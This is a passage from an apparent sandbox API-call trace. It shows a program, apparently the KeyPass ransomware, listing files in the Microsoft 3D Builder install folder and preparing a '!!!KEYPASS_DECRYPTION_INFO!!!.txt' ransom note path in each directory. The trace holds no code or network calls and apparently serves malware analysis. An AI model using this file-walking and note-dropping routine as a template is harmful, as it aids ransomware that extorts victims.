Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\Icon.targetsize-16.png") returned=".png" [0289.298] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\Icon.targetsize-256.png") returned=".png" [0289.298] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\Icon.targetsize-32.png") returned=".png" [0289.298] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\Icon.targetsize-48.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\Logo.scale-100.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\Logo.scale-80.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\SmallLogo.scale-100.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\SmallLogo.scale-80.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\SmallLogo.targetsize-16.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\SmallLogo.targetsize-256.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\SmallLogo.targetsize-32.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\SmallLogo.targetsize-48.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\SplashScreen.scale-100.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\Square310x310Logo.scale-100.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\Square310x310Logo.scale-80.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\Square70x70Logo.scale-100.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\Square70x70Logo.scale-80.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\StoreLogo.scale-100.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\Wide310x150Logo.scale-100.png") returned=".png" [0289.299] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\Wide310x150Logo.scale-80.png") returned=".png" [0289.299] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.299] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.299] GetLastError () returned 0x3f0 [0289.299] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.299] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.304] GetLastError () returned 0x5 [0289.304] GetLastError () returned 0x5 [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\BuilderLogo.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\Icon.targetsize-16.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\Icon.targetsize-256.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\Icon.targetsize-32.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\Icon.targetsize-48.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\Logo.scale-100.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\Logo.scale-80.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\SmallLogo.scale-100.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\SmallLogo.scale-80.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\SmallLogo.targetsize-16.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\SmallLogo.targetsize-256.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\SmallLogo.targetsize-32.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\SmallLogo.targetsize-48.png") returned=".png" [0289.305] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\SplashScreen.scale-100.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\Square310x310Logo.scale-100.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\Square310x310Logo.scale-80.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\Square70x70Logo.scale-100.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\Square70x70Logo.scale-80.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\StoreLogo.scale-100.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\Wide310x150Logo.scale-100.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\Wide310x150Logo.scale-80.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Icon.targetsize-16.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Icon.targetsize-256.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Icon.targetsize-32.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Icon.targetsize-48.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Logo.scale-100.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Logo.scale-80.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\SmallLogo.scale-100.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\SmallLogo.scale-80.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\SmallLogo.targetsize-16.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\SmallLogo.targetsize-256.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\SmallLogo.targetsize-32.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\SmallLogo.targetsize-48.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\SplashScreen.scale-100.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Square310x310Logo.scale-100.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Square310x310Logo.scale-80.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Square70x70Logo.scale-100.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Square70x70Logo.scale-80.png") returned=".png" [0289.306] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\StoreLogo.scale-100.png") returned=".png" [0289.307] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Wide310x150Logo.scale-100.png") returned=".png" [0289.307] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Wide310x150Logo.scale-80.png") returned=".png" [0289.307] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-black.png") returned=".png" [0289.307] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-white.png") returned=".png" [0289.307] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\DarkBlue.png") returned=".png" [0289.307] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.307] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.307] GetLastError () returned 0x3f0 [0289.307] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.307] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.319] GetLastError () returned 0x5 [0289.319] GetLastError () returned 0x5 [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\4-Point Star.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\4-Point Star_render.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\8-Point Star.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\8-Point Star_render.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Arrow.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Arrow_render.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Chevron.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Chevron_render.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Cloud.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Cloud_render.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Donut.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Donut_render.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Double Wave.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Double Wave_render.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\heart.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\heart_render.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Lightning bolt.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Lightning bolt_render.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Moon.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Moon_render.png") returned=".png" [0289.320] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Multiply.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Multiply_render.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\No Symbol.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\No Symbol_render.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Oval.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Oval_render.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\plus.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\plus_render.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rectangle.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rectangle_render.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rounded Rectangle.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rounded Rectangle_render.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Smiley face.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Smiley face_render.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Sun.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Sun_render.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Triangle.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Triangle_render.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Wave.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Wave_render.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-black.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-white.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\LightBlue.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-black.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-white.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-black.png") returned=".png" [0289.321] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-white.png") returned=".png" [0289.322] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\MediumBlue.png") returned=".png" [0289.322] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-black.png") returned=".png" [0289.322] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-white.png") returned=".png" [0289.322] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Builder3D.exe") returned=".exe" [0289.322] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.322] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.322] GetLastError () returned 0x3f0 [0289.322] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Common\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Common\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.322] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Common\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.322] GetLastError () returned 0x5 [0289.322] GetLastError () returned 0x5 [0289.322] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Common\\ReadMe.txt") returned=".txt" [0289.322] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Lib3mfUAP.dll") returned=".dll" [0289.322] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.322] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.322] GetLastError () returned 0x3f0 [0289.323] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\", 